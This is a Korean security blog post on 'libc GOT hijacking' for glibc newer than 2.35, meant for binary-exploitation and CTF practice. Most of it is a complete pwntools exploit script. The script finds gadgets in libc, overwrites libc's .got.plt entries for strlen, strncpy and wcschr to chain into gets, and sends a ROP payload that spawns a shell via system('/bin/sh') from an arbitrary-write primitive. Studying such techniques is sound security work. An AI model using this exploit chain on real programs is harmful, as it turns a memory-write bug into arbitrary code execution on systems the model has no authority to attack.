Libc GOT Hijacking - glibc > 2.35

2025. 6. 6. 09:25·Tips & theory
728x90
반응형

서론

2.35 이상의 버전에서는 앞선 페이로드가 작동하지 않는다고 한다.

2025.06.06 - [Tips & theory] - Libc GOT Hijacking - glibc <= 2.35

 

Libc GOT Hijacking - glibc <= 2.35

서론개인적으로 조금 충격 받은 기법이다. 조건만일 aaw는 가능하고, 오직 libc address만 알 수 있으며, 프로그램이 종료되지 않는 (while true) 경우일때 쓸 수 있다.통상적으로 이 경우는 heap 문제가

wyv3rn.tistory.com

이에 아래 기법으로 파훼 가능하다.

Libc-GOT-Hijacking/Post/README.md at main · n132/Libc-GOT-Hijacking · GitHub

 

Libc-GOT-Hijacking/Post/README.md at main · n132/Libc-GOT-Hijacking

Binary Exploitation Skill. Gain RCE from arbitrary write. - n132/Libc-GOT-Hijacking

github.com

 

앞선 방법과 마찬가지로 libc got을 이용하며, strlen 함수를 통해 공격한다.

이는 ROP을 이용한 방법이며, 마찬가지로 조금만 손보면 다른 코드도 실행가능할 것으로 판단된다.

 

Code

from pwn import *

context.arch = 'amd64'
# context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']


def find_gadget_to_set_rdi(libc):  # Find a gadget to set RDI as the address on the stack.
    addr = libc.sym['login']  # will call strncpy
    libc_data = open(libc.path, 'rb').read()
    for off in range(addr, addr + 0x100000):
        if libc_data[off:off + 3] == b'\x48\x8d\x7c':  # find lea rdi, [rsp+24], ... call j_strncpy
            res = disasm(libc_data[off:off + 20], offset=False, byte=False).replace('\n', ';')
            if 'call' not in res:
                continue
            return off
    return 0


def find_call_pop_ret_gadget(libc):  # Find a gadget to call a function and pop the stack.
    addr = libc.sym['wcscspn']  # will call wcschr
    libc_data = open(libc.path, 'rb').read()
    for off in range(addr, addr + 0x1000):
        if libc_data[off] == 0xe8:  # find call j_wcschr why 0xe8 ? 
            return off
    return 0


def find_original_value_memcpy_got_plt(libc):
    off = libc.sym['memcpy'] + 0x7F  # hardcode
    libc_data = open(libc.path, 'rb').read()
    if libc_data[off: off + 2] == b'\x48\x8d':
        opcode = libc_data[off + 3:off + 5].ljust(8, b'\x00')
        memcpy_sse2_unaligned_erms_addr = u64(opcode) + off + 7
        return memcpy_sse2_unaligned_erms_addr
    return 0


def find_original_value_memchr_got_plt(libc):
    off = libc.sym['memchr'] + 0xb  # hardcode
    libc_data = open(libc.path, 'rb').read()
    if libc_data[off: off + 2] == b'\x48\x8d':
        opcode = libc_data[off + 3:off + 5].ljust(8, b'\x00')
        memchr_sse2_addr = u64(opcode) + off + 7
        return memchr_sse2_addr
    return 0


def get_got_plt_table(libc):  # Thank @leommxj for help with this function code.
    it = libc.get_section_by_name('.rela.plt').iter_relocations()
    irelas = []
    r = {}
    for i in it:
        if i['r_info'] == 0x25:
            irelas.append(i)
    revsymbols = defaultdict(list)
    for name, addr in libc.symbols.items():
        revsymbols[addr].append(name)
        if 'got.' in name:
            r[name] = addr
    for i in irelas:
        symname = revsymbols[i['r_addend']]
        r[symname[-1]] = i['r_offset']
    return r


def xrop(libc, table, func, gadget_one, gadget_two):
    tab = [x for x in range(0x2b)]

    dest = libc.get_section_by_name('.got.plt').header.sh_addr + 24
    info('Write dest: {}'.format(hex(dest)))

    # Hijack strlen to the first gadget, and set the value of rdi.
    func_got_plt = table[func]
    idx = (func_got_plt - dest) // 8
    info('strlen.got.plt idx is : {}'.format(hex(idx)))
    tab[idx] = gadget_one + libc.address
    info("first gadget is : {}".format(hex(tab[idx])))

    # Hijack strncpy with the value of the second gadget to call gets and subsequent ret. 
    idx = (table['strncpy'] - dest) // 8
    info('strncpy.got.plt idx is : {}'.format(hex(idx)))
    tab[idx] = gadget_two + libc.address
    info("second gadget is : {}".format(hex(tab[idx])))

    # Hijack wschr with to the gets function.
    idx = (table['wcschr'] - dest) // 8
    info('idx3: {}'.format(hex(idx)))
    tab[idx] = libc.sym['gets']

    #  will call gets need fix  
    idx = (table['memcpy'] - dest) // 8
    info('memcpy idx: {}'.format(hex(idx)))
    info('memcpy addrss: {}'.format(hex(orginal_memcpy_addr)))
    tab[idx] = orginal_memcpy_addr + libc.address

    idx = (table['memchr'] - dest) // 8
    info('memchr idx: {}'.format(hex(idx)))
    info('memchr addrss: {}'.format(hex(libc.sym['memchr'])))
    tab[idx] = orginal_memchr_addr + libc.address

    return dest + libc.address, flat(tab)


elf = ELF('./main')
libc = elf.libc
p = process("./main")
# gdb.attach(p, '')

got_plt_table = get_got_plt_table(libc)
first_gadget = find_gadget_to_set_rdi(libc)
second_gadget = find_call_pop_ret_gadget(libc)

# Our ultimate goal is to call the gets function, which will call the memcpy and memchr functions.
# These two functions have been overwritten at the position of the .got.plt table, so we need to restore their original values.
orginal_memcpy_addr = find_original_value_memcpy_got_plt(libc)
orginal_memchr_addr = find_original_value_memchr_got_plt(libc)

success("first gadget is {}".format(hex(first_gadget)))
success("second gadget is {}".format(hex(second_gadget)))

base = int(p.readline(), 16) - libc.sym['printf']  # 0x5c740
success('Libc base: {}'.format(hex(base)))
libc.address = base

rop = ROP(libc)
rdi = rop.find_gadget(["pop rdi", 'ret'])[0]
ret = rdi + 1

#  Trigger puts, which is in the target binary
#  The strlen function will be called by the puts function.
dest, payload = xrop(libc, got_plt_table, 'strlen', first_gadget, second_gadget)
success('dest addr: {}'.format(hex(dest)))
p.send(p64(dest))
p.send(p64(len(payload)))
p.send(payload)
p.sendline(flat([1, 2, 3, ret, ret, ret, ret, rdi, libc.search(b"/bin/sh").__next__(), libc.sym['system'] + 27]))

p.interactive()
728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Tips & theory' 카테고리의 다른 글

로되리안, 도되리안. 그거슨 이제 더 이상 나를 막을 순 없으셈.  (0) 2025.07.01
command injection #2  (0) 2025.06.24
Libc GOT Hijacking - glibc <= 2.35  (0) 2025.06.06
arm 동적 디버깅  (0) 2025.05.01
Certificate verification failed  (0) 2025.04.29
'Tips & theory' 카테고리의 다른 글
  • 로되리안, 도되리안. 그거슨 이제 더 이상 나를 막을 순 없으셈.
  • command injection #2
  • Libc GOT Hijacking - glibc <= 2.35
  • arm 동적 디버깅
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (516)
      • To do list (7)
        • Doing (1)
        • Complete (6)
      • Diary (35)
      • Tips & theory (75)
      • Kernel Exploit (27)
        • Theory (15)
        • Exercise (5)
      • File Structure (6)
      • Wargame (321) N
        • pwn.college (34)
        • Dreamhack (155) N
        • pwnable.kr (15)
        • Lord of Sqlinjection (4)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (44)
        • Solved (42)
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    x64
    vtable
    heap
    x86
    CANARY
    docker
    exploit education
    RTL
    rop
    root-me
    _IO_FILE
    BOF
    Buffer Overflow
    pwntools
    phoenix
    ROOT ME
    32bit
    pwnable.kr
    64bit
    libc
    la ctf
    root
    Format String Bug
    Me
    cryptohack
    dreamhack
    lob
    hackerschool
    FSB
    tcache
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
Libc GOT Hijacking - glibc > 2.35
상단으로

티스토리툴바